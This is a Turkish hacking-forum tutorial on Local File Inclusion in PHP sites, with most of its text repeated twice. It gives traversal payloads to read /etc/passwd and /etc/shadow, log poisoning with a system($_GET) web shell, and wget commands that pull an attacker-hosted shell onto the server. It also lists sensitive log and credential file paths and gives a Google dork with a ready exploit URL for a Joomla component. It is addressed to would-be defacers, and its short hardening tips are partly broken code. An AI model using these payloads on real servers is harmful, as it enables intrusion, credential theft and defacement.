- Mesajlar
- 554
Yöntem => Local File İnclusion ( LFI ) Yerel(serverdan) dosya dahil etme.
LFI Web Sunucu Açıkları ve Korunma Yolları
Anlatım => KingSkrupellos
14 Farklı Videolu Anlatımlar
Rfi kadar işlevselliği olmayan ama her Difeysır adayı için bilmesi gereken bir açık türü olan LFI yi ve bundan korunma yolunu elimden geldiğince sizlere aksettireceğim.
LFI Sayesinde Saldırdığınız Scriptin Bulunduğu Sistemdeki Dosyaları Okuyabilirsiniz. Örn Linux Sistemlerde etc/passwd Gibi veya Scriptin Config.php Ayarları Gibi. RFI Kadar Olmasada Bayağı Yararı Vardır..
Scriptlerde LFI Ararken RFI’deki Gibi Include, Require, Define vs. Ana Komutlarını Arıyoruz.Mantık Olarak RFI iLe Aynı…
LFI Bulduktan Sonra Bazı Önemli Dosya İsimlerini Vereyim
gibi..
1) Mesela ; http://www.hedefsite.com/index.php?id=9 burası sadece id değil (cat,c,home vs.) gibi de olabilir URL’sindeki id değerini yani 9 silelim eğer şöyle bir hata ile karşılaşırsak demek ki LFİ açığı vardır.
Hata: Warning: include(company_data/.php) [function.include]: failed to open stream: No such file or directory in /usr/home/posting/public_html/resources/index.php on line 171
LFI nasıl oluşur ?
Öncelikle bir php sayfası üzerinden olayın mantığını anlatmaya çalışayım.
Gibi bir kod yazdık.Sayfa normalde şu şekilde çalışır.include ile bir dosya dahil edilir ve o dosya da sayfada gelen GET değişkeninden alır sayfa adını.
Örneğin browserimize :
Olayı anladıysanız eğer browserimizden gelen isteği sayfamıza eklemeye çalışıyor.Tabi bu illa include olacak değil.Değişik yollar da olabilir.Örnek vermek gerekirse;
Gibi fonksiyonlarla beraber de çağırılabilir.
Bu örneklere dayanarak şunları söyleyebiliriz o halde;
Local file inclusion metodu aslında browserden değişken alarak ve alınan dosyayı sayfaya dahil eden sayfalarda meydana gelir ve browserimizde istediğimiz sayfamızı ( haber.php ’yi ) açtık.Sayfa da hiç bir sorunumuz yok.Ama sizce sayfa bu kadar masum mu ?
Şimdi örneklerle nasıl hata verdirip nasıl kullanacağımız konusuna bakalım.
Hata verdirme :
Evet en son hatırlarsanız browserimizde http://localhost/test.php?sayfa=haber yazmıştık ve haber.php sayfamızı çağırmıştık. Şimdi browserde biraz oynama yaparak hata verdirmeye çalışalım.
Örnek 1 :
Yazdığımız zaman karşımıza hata vermiş bir sayfa çıkacaktır.
Evet hata verdirmeyi başardık.Şimdi yukarıdaki hatayı açıklayalım. PHP bize ne gibi bilgiler vermeye çalışmış ve bu bilgileri ne yapabiliriz ne işimize yarar ?
Yukarıda ilk dikkat edeceğimiz failed to open stream No such file or directory oluyor.Bu bize öyle bir sayfanın o dizinde bulunmadığını gösterir.Hemen biraz daha ileriyi okuyoruz web sitenin sunucudaki adresini bize veriyor.Bunu bir yere not edelim.Ve bakıyoruz ki bizim istediğimiz /etc/passwd sayfası bu dizinde değil. Nerdeki acaba ? Linux sunucular da ana dizin ( root directory ) dediğimiz dizinde bulunurlar.Peki buraya nasıl erişebilirim ? Az önce not edin dediğim dosya yolunu kullanarak ulaşabiliriz.Ama bundan önce kaç dizin olduğunu saymamız lazım.
Dizinleri parçalayarak yazalım ki kaç dizin yazacağımızı hesaplayalım ( / ) işaretinden itibaren parçalayın
Server dizini :
İstediğimiz sayfa = /etc/passwd
Evet dizinlerimizi parçaladık ve bakıyoruz ki 4 dizin var.Hemen istediğimiz sayfa ile dizin sayımızı birleştiriyoruz.
buradaki her bir ../ işareti bir üst dizin anlamına geliyor.4 tane üst dizinin üstündeki /etc/passwd dosyasını istemiş olduk.Ve browserimizdeki adresi şöyle değiştirerek
Gelen veriye baktığımızda
Ve devamı..
Evet bu şekilde passwd dosyasını okuyabildik.İşte şu ana kadar yaptıklarımızı klasik türk sitelerinde bulunanlar kadardı biz işi daha ileriye götürüyoruz. LFI üzerinden RCE ( Remote Command Execution = Uzaktan komut çalıştırma ) metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini görmüyorsa RFI ( Remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.
Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır.File inclusion metodları genelde bir linux sever için basittir.
Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum.Bilirsiniz web sitelerin çalışma mantığını.Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar.Peki eğer istediğim şey o sayfada veya saayfalarda veya sunucu da yoksa ? işte o zaman sunucu tarafından ( apache veya internet information services ( IIS ) )tarafından hatalar bir hata sayfasına yazdırılırlar.Eğer ki root admin ( sunucu yöneticisi ) sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar.Peki bu benim ne işime yarayacak ?
Aslında bir çok şeye.Local file include metodnun can alıcı noktası da burada zaten.Eğer ben o web siteye girip de sayfaya örnek olarak şöyle bir istek attığımda da verileri yazdırmaz mı ?
BİLGİ :
ne demektir ?
php nin information fonksiyonudur. Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir...Dissabled & enabled functions ’lara bakarak ne kullanacağımızı göre biliriz.
Elbetteki yazdırır...
Ama bunu yazdığına göre ben buraya istediğim şeyi yazdırarak komut çalıştırabilirim ( farkındaysanız yavaş yavaş RCE metoduna giriyoruz .) O halde istediğim sayfayı değiştiriyorum ve şöyle yapıyorum.
yada şöyle bir veri göndereyim ls -la ve diğer shell komutlarımı kullanmak için GET ile bir istek yapayım.
BİLGİ :
nedir ?
php de bulunan system fonksiyonu windows ise ms dos linux ise shell üzerinden komut çalıştırmamıza yarar. $_GET[’mgg’]; ise mgg den gelen bilgi anlamına gelir.mggden gelen bilgiyi sistem üzerinde çalıştır demek olur.
Bunu yaptığımızda ne olacak ? hemen bir hata sayfası..
404 This page not found
Adında bir hata sayfası getirecektir.Böylelikle ne yapmış olduk ? Sunucu tarafından kaydedilen hata raporlarına php kodu enjekte etmiş olduk..Peki kodu enjekte ettik nasıl kullanacağım ben bunu ?
Aslında kullanması da basit.Sadece server tipine göre hangi dosyaya enjecte etmişseniz o dosya üzerinden kullanabilirsinz.Yine bir varsayım yapalım.
Örnek olarak atak yaptığım web sitenin kayıt yolu bu olsun;
bunu kendi sistemimize uyarlıyoruz.
ve şöyle oluyor;
Browsermizden bu adrese girdiğimiz zaman web siteye yapılan istekler örüntülenecektir.Dolaysıyla bizim kodumuz da orda olacaktır.Şimdi dosyamızı ve nerde olduğunu da bildiğimize göre dosyamızı çalıştırabiliriz.
Peki şimdi ne yaptık ? mgg ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasördeki dosyaları görmek istedik ve sonucu bize aynen döndürecektir.
Şimdi LFI atağını RCE ye çevirdiğimize göre RCE atağını da RFI ye çevirelim. Linux’un wget fonksiyonunu kullanarak web siteye dosyamızı çekelim...
Bu şekilde dosyanızı çekebilirsiniz.Tabi bazen sorun oluyor.İşte aksilik Şöyle bir senaryo daha üretelim ve işimizi zorlaştıralım ( gerçi kolay ama) wget ile php dosyalarını çekemeyebiliriz ( başıma çok geldiğinden söylüyorum bunu da ) o zaman kendi dosya çekeceğimiz siteye .txt uzantısında dosyamızı atıyoruz.Ve şöyle birşey yazıyoruz.
Bu şekilde genelde çeker.Ne yapmış olduk txt dosyasını servera yüklemiş olduk.Fakat txt halinde çalışmaz bunun uzantısını değiştirelim.Onu da şöyle yapabiliriz.
Bu şekilde dosyanın adını değiştirmeden uzantısını değiştirdik.İsterseniz adını da değiştirebilirsiniz size kalmış bir olaydır.
Sunucu tipine göre dizinler ve komutlar;
IRIX:
AIX:
SunOS:
Linux:
Windows:
Local File Inclusion: Bu açıklar RFI dan daha az kullanılmaktadır ve etkiside RFI kadar yoktur.Biraz hakkında konuşalım LFI’nın
. Gene php coderların acemilikleri veya unutkanlıklarından meydana gelen açıklardır.LFI ile bir sitenin ftp’sindeki veya serverdaki dosyaları okuma iznimiz varsa okuyabiliriz.Her RFI açıgını bir LFI gibi kullanabiliriz ama ortada bir remote file include imkanımız varken local file include yapmamız saçma olur.
Bir örnekle açıklayalım
Bu kodu test3.php olarak save edip php destekleyen bir servera atıp çalıştırdıgımızda gene hata alacagızdır,bunun neden, config.php nin bulunamamasıdır.Bu bizim için fark etmez bizim amacımız farklı.
Bu koddaki $cw veriablı tanımlı değildir bu yüzden aşagıdaki bir komutla okuma izni olan tüm dosyaları okuyabiliriz.
Bu dosyayı test4.php olarka save edip php destekleyen bir hostta attıgınızda LFI açıgının çalışmadıgını göreceksiniz.Bunun nedeni $cw : ‘conf’ ; bu kod ile tanımlı olmayan $cw veriablı tanımlanmıştır.Yani sepet doldurulmuştur.
Son zamanların en çok kullanılan ve hostingcilerin başına en çok bela açan açıkların başında gelmektedir.
File Inclusion açıklarından yararlanarak servera upload edilen php shell’lerden nasıl korunurum diye düşünüyorsanız işte cevabı….
dosyasını açın
disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.
system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute
diyoruz
NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.
Kullanımını Anlatayım
burda gördünüz gibi rfi olarak düşünürsen miller
tanımlanmamış .
fakat bu lfi de shell olarak kullanılamaz tanımlanmayan degişken (miller)kullanılarak dosya okunabilir yukarıdaki kodu robot.php olarak kaydedin
Daha sonra
dosyası okunabilir izin varsa okunur bu
açıkla neler yapılır ?
etc/passwd , config okuruz ya da ftp alırız …
LFI açığını Nasıl Kapatırız ?
bu kod sayesinde açık kapaır çünkü miller ‘i burda tanımladık
yaptığınız an LFI çalışmaz
Örnek LFI :
Not: Lfi açığı olan sisteme kod enjekte edilmiş bir jpg dosya atılarak server üzerinde işlem yapılabilir.
Not 2 => Ben size yeni bir açık ismi veriyim
Dork :
Tam olarak yapılacak iş : Sitenin açığına exploit sokup ya da Password okuyum işleri halletmek
Ben size bikaç ornek veriyim :.
Ftp okumak istiyorsanız :
Anlatacaklarım bu Kadar. KingSkrupellos. Emeğe Saygı.
LFI Web Sunucu Açıkları ve Korunma Yolları
Anlatım => KingSkrupellos
14 Farklı Videolu Anlatımlar
Kod:
http://www.youtube.com/watch?v=s3XQ1n5kdeQ
http://www.youtube.com/watch?v=KGKIBA8CdHY
http://www.youtube.com/watch?v=Vv2iBqpTyZQ
http://www.youtube.com/watch?v=pnqcHU2qFiA
http://www.youtube.com/watch?v=UP7a_hXSsUE
http://www.youtube.com/watch?v=oWU5NmO7Af8
http://www.youtube.com/watch?v=K7kKA7kEvY0
http://www.youtube.com/watch?v=KGKIBA8CdHY
http://www.youtube.com/watch?v=wLI1Z_cKQ18
http://www.youtube.com/watch?v=j1ubQruirxk
http://www.youtube.com/watch?v=s_o4yTrBgtQ
http://www.youtube.com/watch?v=kGZNvUSWDqg
http://www.youtube.com/watch?v=1pZnOHzdV7o
LFI Sayesinde Saldırdığınız Scriptin Bulunduğu Sistemdeki Dosyaları Okuyabilirsiniz. Örn Linux Sistemlerde etc/passwd Gibi veya Scriptin Config.php Ayarları Gibi. RFI Kadar Olmasada Bayağı Yararı Vardır..
Scriptlerde LFI Ararken RFI’deki Gibi Include, Require, Define vs. Ana Komutlarını Arıyoruz.Mantık Olarak RFI iLe Aynı…
LFI Bulduktan Sonra Bazı Önemli Dosya İsimlerini Vereyim
Kod:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
1) Mesela ; http://www.hedefsite.com/index.php?id=9 burası sadece id değil (cat,c,home vs.) gibi de olabilir URL’sindeki id değerini yani 9 silelim eğer şöyle bir hata ile karşılaşırsak demek ki LFİ açığı vardır.
Hata: Warning: include(company_data/.php) [function.include]: failed to open stream: No such file or directory in /usr/home/posting/public_html/resources/index.php on line 171
LFI nasıl oluşur ?
Öncelikle bir php sayfası üzerinden olayın mantığını anlatmaya çalışayım.
Kod:
#Dosya adı : test.php
<?php
include($_GET[’sayfa’.".php");
?>
Gibi bir kod yazdık.Sayfa normalde şu şekilde çalışır.include ile bir dosya dahil edilir ve o dosya da sayfada gelen GET değişkeninden alır sayfa adını.
Örneğin browserimize :
Kod:
http://localhost/test.php?sayfa=haber
dediğimizde $_GET[’sayfa’] değeri haber olacaktır ve yukarıdaki koda dikkat ederseniz .php ile getirmiş devamına yani gelen değişkenin içerisindeki veriyi alırsak kısmen şu şekilde oluyor;
[code]<?php
#Dosya adı : test.php
include("haber.php");
?>
Olayı anladıysanız eğer browserimizden gelen isteği sayfamıza eklemeye çalışıyor.Tabi bu illa include olacak değil.Değişik yollar da olabilir.Örnek vermek gerekirse;
Kod:
include();
include_once();
require();
require_once();
file();
file_get_contents();
Gibi fonksiyonlarla beraber de çağırılabilir.
Bu örneklere dayanarak şunları söyleyebiliriz o halde;
Local file inclusion metodu aslında browserden değişken alarak ve alınan dosyayı sayfaya dahil eden sayfalarda meydana gelir ve browserimizde istediğimiz sayfamızı ( haber.php ’yi ) açtık.Sayfa da hiç bir sorunumuz yok.Ama sizce sayfa bu kadar masum mu ?
Şimdi örneklerle nasıl hata verdirip nasıl kullanacağımız konusuna bakalım.
Hata verdirme :
Evet en son hatırlarsanız browserimizde http://localhost/test.php?sayfa=haber yazmıştık ve haber.php sayfamızı çağırmıştık. Şimdi browserde biraz oynama yaparak hata verdirmeye çalışalım.
Örnek 1 :
Kod:
http://localhost/test.php?sayfa=/etc/passwd
Yazdığımız zaman karşımıza hata vermiş bir sayfa çıkacaktır.
Kod:
Warning: main(/etc/passwd): failed to open stream: No such file or directory in /usr/www/www.Cyber-warrior.org/www/test.php on line 5
Warning: main(): Failed opening ’/etc/passwd’ for inclusion (include_path=’.:’) in /usr/www/www.Cyber-warrior.org/www/test.php on line 6
Evet hata verdirmeyi başardık.Şimdi yukarıdaki hatayı açıklayalım. PHP bize ne gibi bilgiler vermeye çalışmış ve bu bilgileri ne yapabiliriz ne işimize yarar ?
Yukarıda ilk dikkat edeceğimiz failed to open stream No such file or directory oluyor.Bu bize öyle bir sayfanın o dizinde bulunmadığını gösterir.Hemen biraz daha ileriyi okuyoruz web sitenin sunucudaki adresini bize veriyor.Bunu bir yere not edelim.Ve bakıyoruz ki bizim istediğimiz /etc/passwd sayfası bu dizinde değil. Nerdeki acaba ? Linux sunucular da ana dizin ( root directory ) dediğimiz dizinde bulunurlar.Peki buraya nasıl erişebilirim ? Az önce not edin dediğim dosya yolunu kullanarak ulaşabiliriz.Ama bundan önce kaç dizin olduğunu saymamız lazım.
Dizinleri parçalayarak yazalım ki kaç dizin yazacağımızı hesaplayalım ( / ) işaretinden itibaren parçalayın
Server dizini :
Kod:
usr/www/www.Cyber-warrior.org/www/test.php
/usr ( 1 .ci dizin )
/www ( 2 .ci dizin )
/www.Cyber-warrior.org ( 3. cü dizin )
/www ( 4. cü dizin )
/test.php ( şu an bulunduğumuz dizin )
İstediğimiz sayfa = /etc/passwd
Evet dizinlerimizi parçaladık ve bakıyoruz ki 4 dizin var.Hemen istediğimiz sayfa ile dizin sayımızı birleştiriyoruz.
Kod:
../../../../etc/passwd
buradaki her bir ../ işareti bir üst dizin anlamına geliyor.4 tane üst dizinin üstündeki /etc/passwd dosyasını istemiş olduk.Ve browserimizdeki adresi şöyle değiştirerek
Kod:
http://localhost/test.php?sayfa=../../../../etc/passwd
Gelen veriye baktığımızda
Kod:
# $FreeBSD$ #
root:*:0:0:RMx &:/root:/usr/local/bin/bash
Ve devamı..
Evet bu şekilde passwd dosyasını okuyabildik.İşte şu ana kadar yaptıklarımızı klasik türk sitelerinde bulunanlar kadardı biz işi daha ileriye götürüyoruz. LFI üzerinden RCE ( Remote Command Execution = Uzaktan komut çalıştırma ) metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini görmüyorsa RFI ( Remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.
Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır.File inclusion metodları genelde bir linux sever için basittir.
Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum.Bilirsiniz web sitelerin çalışma mantığını.Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar.Peki eğer istediğim şey o sayfada veya saayfalarda veya sunucu da yoksa ? işte o zaman sunucu tarafından ( apache veya internet information services ( IIS ) )tarafından hatalar bir hata sayfasına yazdırılırlar.Eğer ki root admin ( sunucu yöneticisi ) sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar.Peki bu benim ne işime yarayacak ?
Aslında bir çok şeye.Local file include metodnun can alıcı noktası da burada zaten.Eğer ben o web siteye girip de sayfaya örnek olarak şöyle bir istek attığımda da verileri yazdırmaz mı ?
Kod:
http://localhost/<?php phpinfo(); ?>
BİLGİ :
Kod:
<?php phpinfo(); ?>
php nin information fonksiyonudur. Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir...Dissabled & enabled functions ’lara bakarak ne kullanacağımızı göre biliriz.
Elbetteki yazdırır...
Ama bunu yazdığına göre ben buraya istediğim şeyi yazdırarak komut çalıştırabilirim ( farkındaysanız yavaş yavaş RCE metoduna giriyoruz .) O halde istediğim sayfayı değiştiriyorum ve şöyle yapıyorum.
Kod:
http://localhost/<?php system("ls -la"); ?>
yada şöyle bir veri göndereyim ls -la ve diğer shell komutlarımı kullanmak için GET ile bir istek yapayım.
Kod:
http://localhost/<?php system($_GET[’mgg’]); ?>
BİLGİ :
Kod:
<?php system("ls -la"); ?>
php de bulunan system fonksiyonu windows ise ms dos linux ise shell üzerinden komut çalıştırmamıza yarar. $_GET[’mgg’]; ise mgg den gelen bilgi anlamına gelir.mggden gelen bilgiyi sistem üzerinde çalıştır demek olur.
Bunu yaptığımızda ne olacak ? hemen bir hata sayfası..
404 This page not found
Adında bir hata sayfası getirecektir.Böylelikle ne yapmış olduk ? Sunucu tarafından kaydedilen hata raporlarına php kodu enjekte etmiş olduk..Peki kodu enjekte ettik nasıl kullanacağım ben bunu ?
Aslında kullanması da basit.Sadece server tipine göre hangi dosyaya enjecte etmişseniz o dosya üzerinden kullanabilirsinz.Yine bir varsayım yapalım.
Örnek olarak atak yaptığım web sitenin kayıt yolu bu olsun;
Kod:
/apache/logs/access.log
bunu kendi sistemimize uyarlıyoruz.
ve şöyle oluyor;
Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log
Browsermizden bu adrese girdiğimiz zaman web siteye yapılan istekler örüntülenecektir.Dolaysıyla bizim kodumuz da orda olacaktır.Şimdi dosyamızı ve nerde olduğunu da bildiğimize göre dosyamızı çalıştırabiliriz.
Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=ls -la
Peki şimdi ne yaptık ? mgg ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasördeki dosyaları görmek istedik ve sonucu bize aynen döndürecektir.
Şimdi LFI atağını RCE ye çevirdiğimize göre RCE atağını da RFI ye çevirelim. Linux’un wget fonksiyonunu kullanarak web siteye dosyamızı çekelim...
Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget
http://siteniz.com/shell_adresiniz.php
Bu şekilde dosyanızı çekebilirsiniz.Tabi bazen sorun oluyor.İşte aksilik Şöyle bir senaryo daha üretelim ve işimizi zorlaştıralım ( gerçi kolay ama) wget ile php dosyalarını çekemeyebiliriz ( başıma çok geldiğinden söylüyorum bunu da ) o zaman kendi dosya çekeceğimiz siteye .txt uzantısında dosyamızı atıyoruz.Ve şöyle birşey yazıyoruz.
Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget
http://siteniz.com/shell_adresiniz.txt
Bu şekilde genelde çeker.Ne yapmış olduk txt dosyasını servera yüklemiş olduk.Fakat txt halinde çalışmaz bunun uzantısını değiştirelim.Onu da şöyle yapabiliriz.
Kod:
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=mv shell_adi.txt shell_adi.php
Bu şekilde dosyanın adını değiştirmeden uzantısını değiştirdik.İsterseniz adını da değiştirebilirsiniz size kalmış bir olaydır.
Sunucu tipine göre dizinler ve komutlar;
IRIX:
Kod:
/var/adm/SYSLOG
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/lastlog/username
/usr/spool/lp/log
/var/adm/lp/lpd-errs
/usr/lib/cron/log
/var/adm/loginlog
/var/adm/pacct
/var/adm/dtmp
/var/adm/acct/sum/loginlog
/var/adm/X0msgs
/var/adm/crash/vmcore
/var/adm/crash/unix
AIX:
Kod:
/var/adm/pacct
/var/adm/wtmp
/var/adm/dtmp
/var/adm/qacct
/var/adm/sulog
/var/adm/ras/errlog
/var/adm/ras/bootlog
/var/adm/cron/log
/etc/utmp
/etc/security/lastlog
/etc/security/failedlogin
/usr/spool/mqueue/syslog
SunOS:
Kod:
/var/adm/messages
/var/adm/aculogs
/var/adm/aculog
/var/adm/sulog
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/utmp
/var/adm/utmpx
/var/adm/log/asppp.log
/var/log/syslog
/var/log/POPlog
/var/log/authlog
/var/adm/pacct
/var/lp/logs/lpsched
/var/lp/logs/lpNet
/var/lp/logs/requests
/var/cron/log
/var/saf/_log
/var/saf/port/log
Linux:
Kod:
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/wtmp
/etc/utmp
/opt/lampp/logs/error_log
/opt/lampp/logs/access_log
/var/log/lastlog
/var/log/telnetd
/var/run/utmp
/var/log/secure
/var/log/wtmp
/var/run/utmp
/var/log
/var/adm
/var/apache/log
/var/apache/logs
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/acct
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/error.log
/var/log/apache-ssl/access.log
/var/log/auth.log
/var/log/xferlog
/var/log/message
/var/log/messages
/var/log/proftpd/xferlog.legacy
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/httpsd/ssl.access_log
/etc/mail/access
/var/log/qmail
/var/log/smtpd
/var/log/samba
/var/log/samba-log.%m
/var/lock/samba
/root/.Xauthority
/var/log/poplog
/var/log/news.all
/var/log/spooler
/var/log/news
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/thttpd_log
/var/log/ncftpd/misclog.txt
/var/log/ncftpd.errs
/var/log/auth
/var/log/kern.log
/var/log/cron.log
/var/log/maillog
/var/log/qmail/
/var/log/httpd/
/var/log/lighttpd
/var/log/boot.log
/var/log/mysqld.log
/var/log/secure
/var/log/utmp
/var/log/wtmp
/var/log/yum.log
/var/spool/tmp
/var/spool/errors
/var/spool/logs
/var/spool/locks
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/logs/access_log
/root/.ksh_history
/root/.bash_history
/root/.bash_logut
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error.log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
Windows:
Kod:
c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\Apache Group\Apache\logs\access.log
c:\apache\logs\error.log
c:\apache\logs\access.log

Bir örnekle açıklayalım

Kod:
<?
include (’files/$cw/config.php’) ;
?>
Bu koddaki $cw veriablı tanımlı değildir bu yüzden aşagıdaki bir komutla okuma izni olan tüm dosyaları okuyabiliriz.
Kod:
www.siteismi.com/test3.php?cw=../../../../etc/passwd
ben üstte serverın /etc/passwd dosyasını okudum siz isterseniz başka dosyalarıda okuyabilirsiniz.
[code]<?
$cw : ‘conf’ ;
include (’files/$cw/config.php’) ;
?>
Bu dosyayı test4.php olarka save edip php destekleyen bir hostta attıgınızda LFI açıgının çalışmadıgını göreceksiniz.Bunun nedeni $cw : ‘conf’ ; bu kod ile tanımlı olmayan $cw veriablı tanımlanmıştır.Yani sepet doldurulmuştur.
Son zamanların en çok kullanılan ve hostingcilerin başına en çok bela açan açıkların başında gelmektedir.
File Inclusion açıklarından yararlanarak servera upload edilen php shell’lerden nasıl korunurum diye düşünüyorsanız işte cevabı….
Kod:
/etc/php.ini
disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.
system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute
Kod:
service htttpd restart
NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.
Kullanımını Anlatayım
Kod:
<?php
include (‘data/$miller/function.php’);
?>
tanımlanmamış .
fakat bu lfi de shell olarak kullanılamaz tanımlanmayan degişken (miller)kullanılarak dosya okunabilir yukarıdaki kodu robot.php olarak kaydedin
Daha sonra
Kod:
http://www.siteismi.com/robot.php?miller=../../../cyberizm
açıkla neler yapılır ?
etc/passwd , config okuruz ya da ftp alırız …
LFI açığını Nasıl Kapatırız ?
Kod:
<?php
$miller=’sdwd’
include (‘data/$miller/function.php’);
?>
bu kod sayesinde açık kapaır çünkü miller ‘i burda tanımladık
Kod:
http://www.siteismi.com/robot.php?miller=../../../cyberizm
Örnek LFI :
Kod:
http://www.siteismi.com/view.php?list=..%2F..%2F..%20%2F..%2F..%2F..%2F..% 2F..%2F..%2F..%2Fetc%2Fpasswd
Not 2 => Ben size yeni bir açık ismi veriyim
Dork :
Kod:
inurl:components/com_acooldebate/acooldebate.php
Kod:
http://site/joomla yolu/index.php?option=com_acooldebate&controller={LFI}
Ftp okumak istiyorsanız :
Kod:
http://site/joomla yolu/index.php?option=com_acooldebate&controller=../../../../../../../../../../etc/passwd
Anlatacaklarım bu Kadar. KingSkrupellos. Emeğe Saygı.